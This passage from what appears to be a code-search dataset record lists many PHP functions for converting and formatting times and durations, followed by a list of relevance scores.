intval(($timestamp % (60*60)) / 60);\n\t\treturn sprintf('%02d', $hours).\":\".sprintf('%02d', $minutes); \n\t}", "function time_diff($start_time,$end_time) {\n\n\t//subtract our times to get the difference\n\t$calcStArray = explode(\":\",$start_time);\n\t$calcEtArray = explode(\":\",$end_time);\n\n\t$start_hour = $calcStArray[0];\n\t$start_min = $calcStArray[1];\n\n\t$end_hour = $calcEtArray[0];\n\t$end_min = $calcEtArray[1];\n\n\t//reduce our dates to timestamps. We use a random date here, since it does not matter\n\t$ts1 = mktime($start_hour,$start_min,\"0\",1,1,2000);\n\t$ts2 = mktime($end_hour,$end_min,\"0\",1,1,2000);\n\n\t//get the number of seconds\n\t$diff = $ts2 - $ts1;\n\n\t$temp = $diff/3600;\n\n\t//get the place of the decimal point\n\t$pos = strpos($temp,\".\");\n\n\t//if we have pos, there is a decimal point\n\tif ($pos) {\n\n\t\t$dur_hour = intval($temp);\n\t\t$min = substr($temp,$pos);\n\n\t\t//convert to clock nums\n\t\tif ($min==\".5\") $dur_min = \"30\";\n\t\telseif ($min==\".25\") $dur_min = \"15\";\n\t\telseif ($min==\".75\") $dur_min = \"45\";\n\n\t}\n\telse {\n\t\t$dur_hour = $temp;\n\t\t$dur_min = \"00\";\n\t}\n\n\treturn array($dur_hour,$dur_min);\n\n}", "function sec2hms($sec, $padHours = false) {\r\n $hms = \"\";\r\n \r\n // do the hours first: there are 3600 seconds in an hour, so if we divide\r\n // the total number of seconds by 3600 and throw away the remainder, we're\r\n // left with the number of hours in those seconds\r\n $hours = intval(intval($sec) / 3600); \r\n\r\n // add hours to $hms (with a leading 0 if asked for)\r\n $hms .= ($padHours) \r\n ? str_pad($hours, 2, \"0\", STR_PAD_LEFT). \":\"\r\n : $hours. \":\";\r\n \r\n // dividing the total seconds by 60 will give us the number of minutes\r\n // in total, but we're interested in *minutes past the hour* and to get\r\n // this, we have to divide by 60 again and then use the remainder\r\n $minutes = intval(($sec / 60) % 60); \r\n\r\n // add minutes to $hms (with a leading 0 if needed)\r\n $hms .= str_pad($minutes, 2, \"0\", STR_PAD_LEFT). \":\";\r\n\r\n // seconds past the minute are found by dividing the total number of seconds\r\n // by 60 and using the remainder\r\n $seconds = intval($sec % 60); \r\n\r\n // add seconds to $hms (with a leading 0 if needed)\r\n $hms .= str_pad($seconds, 2, \"0\", STR_PAD_LEFT);\r\n\r\n // done!\r\n return $hms;\r\n \r\n}", "function late_ride(int $n): int {\n // Coding and coding ... \n return array_sum(str_split(gmdate(\"H:i\", $n*60)));\n}", "function get_hh_ss($seconds) {\n $hours = floor($seconds / 60 / 60);\n $minutes = floor(($seconds - ($hours * 60 * 60)) / 60);\n $d_seconds = $seconds - (($hours * 60 * 60) + ($minutes * 60));\n $f_hours = strlen($hours) == 1 ? \"0$hours\" : $hours;\n $f_minutes = strlen($minutes) == 1 ? \"0$minutes\" : $minutes;\n $f_seconds = strlen($d_seconds) == 1 ? \"0$d_seconds\" : $d_seconds;\n return \"$f_hours:$f_minutes:$f_seconds\";\n}", "function DurationFormat($mins) {\n if ($mins <=90 ) return \"$mins minutes\";\n return (int)($mins/60) . \" hours \" . (($mins%60) ? (($mins%60) . \" minutes\") : \"\");\n}", "function intToTime($sec, $padHours = true, $padMins = true, $padSecs = true) \n{\n\t$hms = \"\";\n\n\t// do the hours first: there are 3600 seconds in an hour, so if we divide\n\t// the total number of seconds by 3600 and throw away the remainder, we're\n\t// left with the number of hours in those seconds\n\t$hours = intval(intval($sec) / 3600); \n\n\t// add hours to $hms (with a leading 0 if asked for)\n\t$hms .= ($padHours) ? str_pad($hours, 2, \"0\", STR_PAD_LEFT). \":\" : $hours. \":\";\n\n\t// dividing the total seconds by 60 will give us the number of minutes\n\t// in total, but we're interested in *minutes past the hour* and to get\n\t// this, we have to divide by 60 again and then use the remainder\n\t$minutes = intval(($sec / 60) % 60); \n\n\t// add minutes to $hms (with a leading 0 if needed)\n\t$hms .= ($padMins) ? str_pad($minutes, 2, \"0\", STR_PAD_LEFT). \":\" : $minutes. \":\";\n\n\t// seconds past the minute are found by dividing the total number of seconds\n\t// by 60 and using the remainder\n\t$seconds = intval($sec % 60); \n\n\t// add seconds to $hms (with a leading 0 if needed)\n\t$hms .= ($padSecs) ? str_pad($seconds, 2, \"0\", STR_PAD_LEFT) : $seconds;\n\n\t// done!\n\treturn $hms;\n\n}", "public static function hours( $time )\n\t{\n\t\treturn self::minutes( $time ) * 60;\n\t}", "public function incremento()\n {\n if ($this->ss == 59) {\n $this->ss = 0;\n if ($this->mm == 59) {\n $this->mm = 0;\n if ($this->hh == 23) {\n $this->hh = 0;\n } else {\n $this->hh++;\n }\n } else {\n $this->mm++;\n }\n } else {\n $this->ss++;\n }\n }", "function humanTiming ($time){\n $time = (time()- 2*60*60)- $time; // to get the time since that moment\n $time = ($time<1)? 1 : $time;\n $tokens = array (\n 31536000 => 'year',\n 2592000 => 'month',\n 604800 => 'week',\n 86400 => 'day',\n 3600 => 'hour',\n 60 => 'minute',\n 1 => 'second'\n );\n\n foreach ($tokens as $unit => $text) {\n if ($time < $unit) continue;\n $numberOfUnits = floor($time / $unit);\n return $numberOfUnits.' '.$text.(($numberOfUnits>1)?'s':'');\n }\n }", "function rlip_schedule_period_minutes($period) {\n $period_elems = array('d' => DAYSECS/60,\n 'h' => HOURSECS/60,\n 'm' => 1);\n $parray = str_split($period);\n $num = '';\n $min = 0;\n foreach ($parray as $char) {\n if (ctype_space($char)) {\n continue;\n } else if (ctype_digit($char)) {\n $num .= $char;\n } else {\n if (!array_key_exists($char, $period_elems)) {\n return -1; // error\n }\n $multiplier = $period_elems[$char];\n $min += intval($num) * $multiplier;\n $num = '';\n }\n }\n return $min;\n}", "function get_60_seconds() {\n\t$array = array();\n\n\tfor ($i = 0; $i <= 59; $i++) {\n\t\tif($i < 10) {\n\t\t\t$array[$i] = 0 . $i;\n\t\t}\n\t\telse {\n\t\t\t$array[$i] = $i;\n\t\t}\n\t}\n\n\treturn $array;\n}", "function getMinute()\r\n {\r\n return $this->minuto;\r\n }", "function calc_hour_and_minute($hora1, $hora2){\n $date_dato[1]=explode(':',$hora1);\n $date_dato[2]=explode(':',$hora2);\n\n $total[1] = ($date_dato[1][0]*60)+$date_dato[1][1];\n $total[2] = ($date_dato[2][0]*60)+$date_dato[2][1];\n\n $total = $total[2]-$total[1];\n\n return $total;\n}", "public function incremento() {\n if ($this -> segundos == 59) {\n $this -> segundos = 0;\n if ($this -> minutos == 59) {\n $this -> minutos = 0;\n if ($this -> horas == 23) {\n $this -> horas = 0;\n }else {\n $this -> horas++;\n }\n }else {\n $this -> minutos++;\n }\n }else {\n $this -> segundos++;\n }\n }", "private function convertMinute($time) {\n sscanf($time, \"%d:%d\", $hours, $minutes);\n\n return $hours * 60 + $minutes;\n }", "function pasarATiempo($tiempo) {\n if ($tiempo == '::')\n return FALSE;\n else {\n $tiempo = preg_split(\"/[:]/\", $tiempo);\n $milisegundos = ((int) $tiempo[0]) * 3600 + ((int) $tiempo[1]) * 60 + ((int) $tiempo[2]);\n return $milisegundos;\n }\n }", "function format_time($secs) {\n\t\t $times = array(3600, 60, 1);\n\t\t $time = '';\n\t\t $tmp = '';\n\t\t for($i = 1; $i < 3; $i++) {\n\t\t\t $tmp = floor($secs / $times[$i]);\n\t\t\t if($tmp < 1) {\n\t\t\t\t $tmp = '00';\n\t\t\t }\n\t\t\t elseif($tmp < 10) {\n\t\t\t\t $tmp = '0' . $tmp;\n\t\t\t }\n\t\t\t $time .= $tmp;\n\t\t\t if($i < 2) {\n\t\t\t\t $time .= ':';\n\t\t\t }\n\t\t\t $secs = $secs % $times[$i];\n\t\t }\n\t\t return $time;\n\t\t}", "function get_minute()\n {\n $datearray=getdate($this->timestamp);\n return $datearray[\"minutes\"];\n }", "public static function toMs ($time)\n\t\t{\n\t\t\t// 06:23:16.213\n\t\t\tpreg_match('/(\\d{2}):(\\d{2}):(\\d{2})[\\.:](\\d{3})/', $time, $match);\n\t\t\tif (count($match) == 5)\n\t\t\t\treturn (int) ( $match[ 3 ] + $match[ 2 ] * 60 + $match[ 1 ] * 3600 ) * 1000 + $match[ 4 ];\n\n\t\t\t// 06:23:16.21\n\t\t\tpreg_match('/(\\d{2}):(\\d{2}):(\\d{2})[\\.:](\\d{2})/', $time, $match);\n\t\t\tif (count($match) == 5)\n\t\t\t\treturn ( $match[ 3 ] + $match[ 2 ] * 60 + $match[ 1 ] * 3600 ) * 1000 + $match[ 4 ] * 1000 / self::$fps;\n\n\t\t\t// 06:23:16\n\t\t\tpreg_match('/(\\d{2}):(\\d{2}):(\\d{2})/', $time, $match);\n\t\t\tif (count($match) == 4)\n\t\t\t\treturn ( $match[ 3 ] + $match[ 2 ] * 60 + $match[ 1 ] * 3600 ) * 1000;\n\n\t\t\treturn null;\n\t\t}", "public function getTotalTime()\n {\n return $this->info->total_time * 1000;\n }", "function sec2hms ($sec, $padHours = false) \n {\n\n $hours = intval(intval($sec) / 3600);\n $minutes = intval(($sec / 60) % 60);\n $seconds = intval($sec % 60); \n\t\n\t\n $hms = ($padHours?str_pad($hours, 2, \"0\", STR_PAD_LEFT):$hours). ':'.\n\t\t\tstr_pad($minutes, 2, \"0\", STR_PAD_LEFT). ':'.\n\t\t\tstr_pad($seconds, 2, \"0\", STR_PAD_LEFT);\n\n return $hms;\n \n }", "function hms2sec ($hms) {\n\tlist($h, $m, $s) = explode (\":\", $hms);\n\t$seconds = 0;\n\t$seconds += (intval($h) * 3600);\n\t$seconds += (intval($m) * 60);\n\t$seconds += (intval($s));\n\treturn $seconds;\n}", "public static function minutes( $time )\n\t{\n\t\treturn $time * 60;\n\t}", "function heure_to_minute($time)\n\t{\n\t\t$time = explode(':', $time);\n\t\treturn ($time[0]*60) + $time[1];\n\t}", "function sec2hms ($sec, $padHours = false) \n {\n\n // start with a blank string\n $hms = \"\";\n \n $minutes = intval(($sec / 60) % 60); \n\n // add minutes to $hms (with a leading 0 if needed)\n $hms .= str_pad($minutes, 2, \"0\", STR_PAD_LEFT). \":\";\n\n // seconds past the minute are found by dividing the total number of seconds\n // by 60 and using the remainder\n $seconds = intval($sec % 60); \n\n // add seconds to $hms (with a leading 0 if needed)\n $hms .= str_pad($seconds, 2, \"0\", STR_PAD_LEFT);\n\n // done!\n return $hms;\n \n }", "protected function calculateTime()\n {\n return $this->start->diffInHours($this->end) +\n round(\n ($this->start->diffInMinutes($this->end) - ($this->start->diffInHours($this->end) * 60)) / 60,\n 1\n );\n }", "public function getLockoutDurationMins(): int\n {\n $time = (int) $this->getConfigValue('lockoutexpirationtime', 0);\n $type = (int) $this->getConfigValue('lockoutexpirationtype', 0);\n return $time * $type;\n }", "public function getDurationTime()\n {\n return $this->duration * 60 * 60;\n }", "function explode_tiempo($tiempo) {\n $arr_tiempo = explode(':', $tiempo);\n $segundos = $arr_tiempo[0] * 3600 + $arr_tiempo[1] * 60 + $arr_tiempo[2];\n return $segundos;\n }", "function displayDuration($iDurationInMinutes)\n{\n $iHour = intval($iDurationInMinutes / 60);\n // two ways : with %, or without\n // $iMinutes = intval($iDurationInMinutes % 60);\n $iMinutes = $iDurationInMinutes - ($iHour * 60);\n // adds zero when minutes less than ten\n if ($iMinutes < 10) {\n $iMinutes = '0' . $iMinutes;\n }\n $sDuration = $iHour . 'h' . $iMinutes . 'min';\n\n return $sDuration;\n}", "function getTimeProccess(){\n\t\treturn round($this->timeProccess,5);\n\t}", "public function checktime($diff)\n {\n //$diffe = str_replace(\"T\", \" \", $temp[0]);\n $time = strtotime($diff); //prod server time\n $this->test = date(\"F j, Y, g:i a\", $time);\n $now = time();\n $minutes = ($time - $now) / 60;\n\n return $minutes;\n }", "public static function milliseconds() {}", "function gallo_reading_time() {\n\t$content = get_post_field( 'post_content', $post->ID );\n\t$word_count = str_word_count( strip_tags( $content ) );\n\t$readingtime = ceil($word_count / 200);\n\t\n\tif ($readingtime == 1) {\n\t\t$timer = \" min\"; // singular\n\t} else {\n\t\t$timer = \" min\"; // plural\n\t}\n\t\n\t$totalreadingtime = $readingtime . $timer;\n\treturn $totalreadingtime;\n\t\n}", "public function getTimeLimit(): int;", "public function getTimeLimit(): int;", "public function ntc_minutes ($input) {\n $this->minutes_input = substr($input, -8, 2);\n return $this->minutes_output = date('i') - $this->minutes_input;\n }", "function ReturnTimer( $decimal=5 )\n {\n if( !is_int($decimal) ):\n $decimal = 5;\n endif;\n $format = '%.'.$decimal.'f %s';\n $time = $this->pCalcTime();\n $sec = ( ($time > 1) ? 'secs.' : 'sec.' );\n return sprintf( $format, $time, $sec );\n }", "function hitung_hari($awal,$akhir){\n\t\t$tglAwal = strtotime($awal);\n\t\t$tglAkhir = strtotime($akhir);\n\t\t$jeda = abs($tglAkhir - $tglAwal);\n\t\treturn floor($jeda/(60*60*24));\n\t}" ]
[ "0.72228116", "0.6903294", "0.68589336", "0.68507963", "0.67248446", "0.66269034", "0.65766513", "0.6541774", "0.65246147", "0.6480919", "0.64480793", "0.6436039", "0.63276255", "0.6326444", "0.631231", "0.63086754", "0.62503046", "0.6233595", "0.62296224", "0.6224683", "0.62065566", "0.619541", "0.6173476", "0.6137521", "0.6107297", "0.60977787", "0.6089214", "0.60818946", "0.6065704", "0.6039663", "0.60345036", "0.6026116", "0.5959433", "0.5955729", "0.5951828", "0.5942094", "0.59158796", "0.59151894", "0.59140044", "0.5902578", "0.58992934", "0.58932793", "0.5886234", "0.5883029", "0.58687764", "0.58626175", "0.5851669", "0.5840657", "0.58360946", "0.5835353", "0.58273727", "0.582706", "0.5821954", "0.58092755", "0.5809076", "0.58049035", "0.57977545", "0.57954806", "0.5781549", "0.5765202", "0.57541895", "0.5753834", "0.57479197", "0.57267946", "0.57165533", "0.5715898", "0.57148117", "0.5699643", "0.56884265", "0.56703794", "0.56692624", "0.5659826", "0.5654415", "0.5650145", "0.564798", "0.5640584", "0.56405413", "0.5639151", "0.56246746", "0.5623997", "0.5613719", "0.5609664", "0.560694", "0.5605875", "0.56056404", "0.5599184", "0.5598525", "0.55904645", "0.5586493", "0.55792844", "0.55655617", "0.55648476", "0.55535406", "0.5545544", "0.5534238", "0.5518838", "0.5518838", "0.5510453", "0.5508982", "0.55087286" ]
0.5939839
36
Convierte una cantidad de minutos a formato time (HH:MM)
public static function minutesToHours($mins){ $hours = floor($mins / 60); $minutes = $mins - ($hours * 60); if (!$minutes) { $minutes = "00"; }elseif ($minutes <= 9) { $minutes = "0" . $minutes; } return ("$hours:$minutes"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function milisecond_to_time($time) {\n $hours = gmdate(\"H\", $time / 1000);\n $mins = gmdate(\"i\", $time / 1000);\n $seconds = gmdate(\"s\", $time / 1000);\n if($hours > 24) {\n $tags = Math.floor($hours/24);\n $hours = $hours % 24;\n }\n $res = \"$hours:$mins:$seconds\";\n return $res;\n }", "function convertToHoursMins($time, $format = '%02d:%02d')\n{\n if ($time < 1) {\n return;\n }\n $hours = floor($time / 60);\n $minutes = ($time % 60);\n return sprintf($format, $hours, $minutes);\n}", "function tiemposHMS($min){\n $min=(int)$min;\n $heure=(int)($min/60);\n $minute=(($min/60)-$heure)*60; \n return $heure .':' . $minute; \n \n \n \n }", "function convert_time ($time = '') {\n $str_time = '';\n\n $time_in_second = $time / 1000;\n\n $nb_minutes = $time_in_second / 60;\n $nb_seconds = $time_in_second % 60;\n\n $str_time = $nb_seconds.'s';\n\n if ($nb_minutes >= 60) {\n $nb_heures = $nb_minutes / 60;\n $nb_minutes = $nb_minutes % 60;\n $str_time = floor($nb_heures).'h '.$nb_minutes.'m '.$str_time;\t\t\t\t\t\t\t\t\t\n } else {\n $str_time = floor($nb_minutes).'m '.$str_time;\n }\t\t\n return $str_time;\n\n }", "function m2h($mins) {\n if ($mins < 0)\n $min = abs($mins); \n else\n $min = $mins; \n \n // Arredonda a hora\n $h = floor($min / 60); \n $m = ($min - ($h * 60)) / 100; \n $horas = $h + $m; \n \n // Matemática da quinta série\n // Detalhe: Aqui também pode se usar o abs()\n if ($mins < 0)\n $horas *= -1; \n \n // Separa a hora dos minutos\n $sep = explode('.', $horas); \n $h = $sep[0]; \n if (empty($sep[1]))\n $sep[1] = 0; \n \n $m = $sep[1]; \n \n // Aqui um pequeno artifício pra colocar um zero no final\n if (strlen($m) < 2)\n $m = $m . 0; \n if($h > 0){\n\t\t\treturn sprintf('%2dh e %2dm', $h, $m);\n }else{\n\t\t\treturn sprintf('%2dm', $m);\n\t\t}\t\n}", "function convertToHoursMins($time, $format = '%02d:%02d') \n {\n if ($time < 1) {\n return;\n }\n $hours = floor($time / 60);\n $minutes = ($time % 60);\n $result['hours'] = $hours;\n $result['minutes'] = $minutes;\n return $result;\n }", "function formatTime($time){\n if(!$time){\n return '-';\n }\n $seconds = ($time/1000);//\n $minutes =floor($seconds / 60);\n $seconds = ($seconds % 60);//\n $hours = floor($seconds / 3600);\n\n return $hours.':'.$minutes.':'.$seconds;\n }", "function turnTotalMinsIntoTime($totalMins) {\n $mins = intval($totalMins % 60);\n $hour = round((($totalMins - $mins) / 60),0);\n $mins = strlen($mins) < 2 ? \"0\".$mins : $mins;\n return $hour.\":\".$mins;\n}", "function get_hh_mm($seconds) {\n $hours = floor($seconds / 60 / 60);\n $remaining_seconds = $seconds - ($hours * 60 * 60);\n $minutes = floor($remaining_seconds / 60);\n $f_hours = strlen($hours) == 1 ? \"0$hours\" : $hours;\n $f_minutes = strlen($minutes) == 1 ? \"0$minutes\" : $minutes;\n return \"$f_hours:$f_minutes\";\n}", "function formatTime($sec){\n if($sec > 100){\n $sec /= 60;\n if($sec > 100){\n $sec /= 60;\n return number_format($sec) . \" hr\";\n }\n return number_format($sec) . \" min\";\n }\n return number_format($sec) . \" sec\";\n}", "public static function timeunit(/* Long */ $time) {\n if ($time == null)\n return '';\n $sec = (int) $time % 60;\n $min = (int) ($time / 60) % 60;\n $hours = (int) ($time / 3600);\n return \"$hours:\" . sprintf('%02d', $min) . ':' . sprintf('%02d', $sec);\n }", "function minutos2horas($mins) {\nif ($mins < 0)\n\t$min = abs($mins);\nelse\n\t$min = $mins;\n \n$h = floor($min / 60);\n$m = ($min - ($h * 60)) / 100;\n$horas = $h + $m;\n \nif ($mins < 0)\n\t$horas *= -1;\n\n$sep = explode('.', $horas);\n$h = $sep[0];\nif (empty($sep[1]))\n\t$sep[1] = 00;\n\t$m = $sep[1];\n \nif (strlen($m) < 2)\n\t$m = $m . 0;\nreturn $h.':'.$m;\n }", "static function string_format_time($time){\r\n $h = intval($time / 60);\r\n $min = $time % 60;\r\n $ret = '';\r\n\r\n if($h > 0){\r\n if($h == 1){\r\n $ret .= $h.' heure ';\r\n } else {\r\n $ret .= $h.' heures ';\r\n }\r\n }\r\n\r\n if($min > 0){\r\n $ret .= $min . ' minutes';\r\n }\r\n\r\n if($time == 0){\r\n $ret .= '0 heure';\r\n }\r\n\r\n return $ret;\r\n }", "function horas_em_mintutos($hora)\n{\n\n if ($hora == '') {\n $hora = '00:00';\n }\n\n $h1 = explode(\":\", $hora);\n\n\n $minuto = $h1[1];\n $horas = $h1[0];\n\n\n if ($horas > 0) {\n\n if (substr($horas, 0, 1) == 0) {\n $horas = substr($horas, 1, 1);\n }\n\n $horas = $horas * 60;\n\n $minuto = $minuto + $horas;\n }\n\n\n\n\n return $minuto;\n}", "function timecheck ($time) {\n $min = 0;\n if($time->h >= 1) {\n $min += 60*$time->h;\n }\n $min += $time->i;\n if($min == 0) {\n return \"Passage en cours...\";\n } else {\n return $min.\" min\";\n }\n \n\n}", "function reservation_min_to_hours($value,$type=\"H:i\"){\n return gmdate($type,$value*60);\n}", "function convert_time($total)\n{\n return sprintf('%2d:%2d:%2d', intval($total/3600), intval($total/60) % 60, $total % 60);\n}", "function func_start_time_from_simple_military ( $in_military_time ///< The military time as an integer (100s are hours 0000 -> 2359).\n )\n {\n $time = abs ( intval ( $in_military_time ) );\n $hours = min ( 23, $time / 100 );\n $minutes = min ( 59, ($time - (intval ($time / 100) * 100)) );\n \n return sprintf ( \"%d:%02d:00\", $hours, $minutes );\n }", "public function formatTime()\n { \n return sprintf('%02d:%02d:%02d', ($this->totaltime / 3600), \n ($this->totaltime / 60 % 60), $this->totaltime % 60); \n }", "function convertir_hora_militar($seg_ini) {\n\n\t\t\t$horas = floor($seg_ini/3600);\n\t\t\t$minutos = floor(($seg_ini-($horas*3600))/60);\n\t\t\t\t\t\t\t\n\t\t\treturn $horas.\":\".$minutos;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t}", "private function GetTimeHHMM() : string {\n\t\t\t$dt = new DateTime();\n\t\t\t$dtz = new DateTimeZone(\"EUROPE/Berlin\");\n\t\t\t$dt->setTimezone($dtz);\n\t\t\treturn $dt->format(\"H:i\");\n\t\t}", "function sec2time ($sec) {\n $sec = (int) $sec;\n $time = ''; $h = 0;\n if ($sec >= 3600 ) {\n $h = (int) ($sec / 3600);\n if ($h > 0) { $time .= $h.':'; }\n $sec = $sec - $h*3600;\n }\n $m = (int) ($sec / 60);\n if ($h == 0) { $time .= $m.':'; }\n else { $time .= sprintf(\"%02d\", $m).':'; };\n if ($m > 0) { $sec = $sec - $m*60; }\n $time .= sprintf(\"%02d\", $sec);\n return $time;\n}", "public function get_time_min() {\n return sprintf( '%02d', (int) edd_get_option( 'edd_commissions_payout_schedule_time_min', '' ) );\n }", "function intToTime($sec, $padHours = true, $padMins = true, $padSecs = true) \n{\n\t$hms = \"\";\n\n\t// do the hours first: there are 3600 seconds in an hour, so if we divide\n\t// the total number of seconds by 3600 and throw away the remainder, we're\n\t// left with the number of hours in those seconds\n\t$hours = intval(intval($sec) / 3600); \n\n\t// add hours to $hms (with a leading 0 if asked for)\n\t$hms .= ($padHours) ? str_pad($hours, 2, \"0\", STR_PAD_LEFT). \":\" : $hours. \":\";\n\n\t// dividing the total seconds by 60 will give us the number of minutes\n\t// in total, but we're interested in *minutes past the hour* and to get\n\t// this, we have to divide by 60 again and then use the remainder\n\t$minutes = intval(($sec / 60) % 60); \n\n\t// add minutes to $hms (with a leading 0 if needed)\n\t$hms .= ($padMins) ? str_pad($minutes, 2, \"0\", STR_PAD_LEFT). \":\" : $minutes. \":\";\n\n\t// seconds past the minute are found by dividing the total number of seconds\n\t// by 60 and using the remainder\n\t$seconds = intval($sec % 60); \n\n\t// add seconds to $hms (with a leading 0 if needed)\n\t$hms .= ($padSecs) ? str_pad($seconds, 2, \"0\", STR_PAD_LEFT) : $seconds;\n\n\t// done!\n\treturn $hms;\n\n}", "function time_to_minutes ( $time ) {\n\t$h = (int) ( $time / 10000 );\n\t$m = (int) ( $time / 100 ) % 100;\n\t$num = $h * 60 + $m;\n\treturn $num;\n}", "function sec2hms($sec, $padHours = false) {\r\n $hms = \"\";\r\n \r\n // do the hours first: there are 3600 seconds in an hour, so if we divide\r\n // the total number of seconds by 3600 and throw away the remainder, we're\r\n // left with the number of hours in those seconds\r\n $hours = intval(intval($sec) / 3600); \r\n\r\n // add hours to $hms (with a leading 0 if asked for)\r\n $hms .= ($padHours) \r\n ? str_pad($hours, 2, \"0\", STR_PAD_LEFT). \":\"\r\n : $hours. \":\";\r\n \r\n // dividing the total seconds by 60 will give us the number of minutes\r\n // in total, but we're interested in *minutes past the hour* and to get\r\n // this, we have to divide by 60 again and then use the remainder\r\n $minutes = intval(($sec / 60) % 60); \r\n\r\n // add minutes to $hms (with a leading 0 if needed)\r\n $hms .= str_pad($minutes, 2, \"0\", STR_PAD_LEFT). \":\";\r\n\r\n // seconds past the minute are found by dividing the total number of seconds\r\n // by 60 and using the remainder\r\n $seconds = intval($sec % 60); \r\n\r\n // add seconds to $hms (with a leading 0 if needed)\r\n $hms .= str_pad($seconds, 2, \"0\", STR_PAD_LEFT);\r\n\r\n // done!\r\n return $hms;\r\n \r\n}", "public static function timeToMinutes($time){\n \t\n\t $horaSplit = explode(\":\", $time);\n\t if( count($horaSplit) < 3 ) {\n\t \t$horaSplit[2] = 0;\n\t }\n\t\n\t // Pasamos los elementos a segundos\n\t $horaSplit[0] = $horaSplit[0] * 60 * 60;\n\t $horaSplit[1] = $horaSplit[1] * 60;\n\t\n\t return (($horaSplit[0] + $horaSplit[1] + $horaSplit[2]) / 60);\n\t \n }", "function FormatTime($time) {\n $hour = $time[0];\n $min = $time[1];\n\n $hourModulo12 = $hour % 12;\n if ($hourModulo12 == 0) $hourModulo12 = 12;\n\n if ($hour >= 12)\n $ampm = \"PM\";\n else\n $ampm = \"AM\";\n\n if ($hourModulo12 < 10)\n $hourStr = \"0\" . $hourModulo12;\n else\n $hourStr = $hourModulo12;\n if ($min < 10)\n $minStr = \"0\" . $min;\n else\n $minStr = $min;\n return $hourStr . \":\" . $minStr . $ampm;\n}", "function msecsToTime($content)\n{\n\t$secs = floor($content / 1000);\n\t$mins = floor($secs / 60);\n\t$hours = floor($mins / 60);\n\t$secs = $secs % 60;\n\t$mins = $mins % 60; \n\tif (strlen($mins) < 2) $mins = \"0\" . $mins;\n\treturn \"$hours\" . \":\" . \"$mins\";\n}", "function format_time($t,$f=':'){\n\t\t//return ($t< 0 ? '-' : '') . sprintf(\"%02d%s%02d%s%02d\", floor(abs($t)/3600), $f, (abs($t)/60)%60, $f, abs($t)%60);\n\t\t\n\t\t$seconds = abs($t)%60;\n\t\t$minutes = (abs($t)/60)%60;\n\t \n\t\tif($seconds>30){\n\t\t\t$minutes = $minutes+1;\n\t\t}\n\t\treturn sprintf(\"%02d\",$minutes);//($t< 0 ? '-' : '') . sprintf(\"%02d%s%02d%s%02d\", floor(abs($t)/3600), $f, (abs($t)/60)%60, $f, abs($t)%60);\n }", "private function convertMinute($time) {\n sscanf($time, \"%d:%d\", $hours, $minutes);\n\n return $hours * 60 + $minutes;\n }", "function pasarATiempoFormato($tiempo) {\n $minutos = (int) ($tiempo / 3600);\n $milisegundos = (int) ($tiempo % 3600);\n\n $segundos = (int) ($milisegundos / 60);\n $milisegundos = (int) ($milisegundos % 60);\n\n return \"$minutos:$segundos:$milisegundos\";\n }", "function DurationFormat($mins) {\n if ($mins <=90 ) return \"$mins minutes\";\n return (int)($mins/60) . \" hours \" . (($mins%60) ? (($mins%60) . \" minutes\") : \"\");\n}", "function sec2hms ($sec, $padHours = false) \n {\n\n // start with a blank string\n $hms = \"\";\n \n $minutes = intval(($sec / 60) % 60); \n\n // add minutes to $hms (with a leading 0 if needed)\n $hms .= str_pad($minutes, 2, \"0\", STR_PAD_LEFT). \":\";\n\n // seconds past the minute are found by dividing the total number of seconds\n // by 60 and using the remainder\n $seconds = intval($sec % 60); \n\n // add seconds to $hms (with a leading 0 if needed)\n $hms .= str_pad($seconds, 2, \"0\", STR_PAD_LEFT);\n\n // done!\n return $hms;\n \n }", "public static function minutesToHours($minutos) {\n $sumHoras = $minutos;\n $hour = floor($sumHoras / 60);\n $sumHoras -= ($hour * 60);\n $min = floor($sumHoras);\n $sumHoras -= $min;\n $sec = round($sumHoras * 60);\n return (substr(str_pad($hour, 2, '0', STR_PAD_LEFT),0,2) . \n \":\" . substr(str_pad($min, 2, '0', STR_PAD_LEFT),0,2) . \n \":\" . substr(str_pad($sec, 2, '0', STR_PAD_LEFT),0,2));\n }", "public static function renderTime($time)\n {\n return floor($time / 60) . \" min \" . $time % 60 . \" secondes\";\n }", "private function time_rule($time){\n $hour = floor($time/3600);//divisão retornando parte inteira.\n $hour_rest = fmod($time, 3600);//divisão retornando restante\n $min = floor($hour_rest/60); // calculo de minutos apartir do restante de horas\n $sec = fmod($hour_rest, 60); // calculos dos segundos\n return $this->number_format($sec,$min,$hour);\n }", "function parse_minutes_to_hours($minutes) {\n $h = floor($minutes / 60);\n $m = $minutes % 60;\n $m = $m < 10 ? '0' . $m : $m;\n\n return $h . \"h\" . $m;\n}", "function sec2hms ($sec, $padHours = false) \n {\n\n $hours = intval(intval($sec) / 3600);\n $minutes = intval(($sec / 60) % 60);\n $seconds = intval($sec % 60); \n\t\n\t\n $hms = ($padHours?str_pad($hours, 2, \"0\", STR_PAD_LEFT):$hours). ':'.\n\t\t\tstr_pad($minutes, 2, \"0\", STR_PAD_LEFT). ':'.\n\t\t\tstr_pad($seconds, 2, \"0\", STR_PAD_LEFT);\n\n return $hms;\n \n }", "public function toMinutes($time) {\n \treturn intval($time / 60000) % 60;\n }", "function format_time($secs) {\n\t\t $times = array(3600, 60, 1);\n\t\t $time = '';\n\t\t $tmp = '';\n\t\t for($i = 1; $i < 3; $i++) {\n\t\t\t $tmp = floor($secs / $times[$i]);\n\t\t\t if($tmp < 1) {\n\t\t\t\t $tmp = '00';\n\t\t\t }\n\t\t\t elseif($tmp < 10) {\n\t\t\t\t $tmp = '0' . $tmp;\n\t\t\t }\n\t\t\t $time .= $tmp;\n\t\t\t if($i < 2) {\n\t\t\t\t $time .= ':';\n\t\t\t }\n\t\t\t $secs = $secs % $times[$i];\n\t\t }\n\t\t return $time;\n\t\t}", "function heure_to_minute($time)\n\t{\n\t\t$time = explode(':', $time);\n\t\treturn ($time[0]*60) + $time[1];\n\t}", "function tambahWaktu2($jam_mulai,$jam_selesai){\n//echo \"<br>\";\n//echo \"Jam Selesai : \".$jam_selesai='09:45:01';\n//echo \"<br>\";\n $times = array($jam_mulai,$jam_selesai);\n//$times = array('08:30:22','09:45:53');\n $seconds = 0;\n foreach ( $times as $time )\n {\n \tlist( $g, $i, $s ) = explode( ':', $time );\n \t$seconds += $g * 3600;\n \t$seconds += $i * 60;\n \t$seconds += $s;\n \n \n }\n $hours = floor( $seconds / 3600);\n if($hours<10){\n $hours='0'.$hours;\n }\n \n $seconds -= $hours * 3600;\n $minutes = floor( $seconds / 60);\n if($minutes<10){\n 